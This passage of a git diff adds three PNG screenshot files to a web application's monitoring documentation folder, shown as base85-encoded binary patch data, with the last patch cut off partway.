b/src/main/webapp/monitoramento/docs/images/screen_shot_3.png new file mode 100644 index 0000000000000000000000000000000000000000..fb8196131bc50663a260b926982b003842e2f945 GIT binary patch literal 4002 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 G2~7Yk@?yvU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_4.png b/src/main/webapp/monitoramento/docs/images/screen_shot_4.png new file mode 100644 index 0000000000000000000000000000000000000000..652de61d736c4166064725655207b06301e7c634 GIT binary patch literal 4412 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 Ds%I-m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_5.png b/src/main/webapp/monitoramento/docs/images/screen_shot_5.png new file mode 100644 index 0000000000000000000000000000000000000000..c02473d38fc6881867db6c82acfbcda87382ac23 GIT binary patch literal 3486 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 